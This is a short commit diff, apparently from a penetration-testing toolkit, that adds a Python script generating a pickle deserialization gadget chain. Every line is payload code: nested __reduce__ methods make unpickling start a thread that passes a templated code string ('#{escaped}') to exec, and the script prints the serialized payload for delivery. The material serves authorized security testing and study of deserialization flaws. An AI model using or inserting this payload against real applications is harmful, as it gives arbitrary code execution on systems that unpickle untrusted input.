Add source code for Python deserialization gadgets
This commit is contained in:
@@ -0,0 +1,14 @@
|
||||
import pickle
|
||||
import threading
|
||||
|
||||
class CreateThread:
|
||||
def __reduce__(self):
|
||||
return threading.Thread, (None, __builtins__.exec, None, ('#{escaped}',))
|
||||
|
||||
class GadgetChain:
|
||||
def __reduce__(self):
|
||||
return threading.Thread.start, (CreateThread(),)
|
||||
|
||||
if __name__ == '__main__':
|
||||
pickled = pickle.dumps(GadgetChain(), protocol=0)
|
||||
print(repr(pickled.decode()))
|
||||
Reference in New Issue
Block a user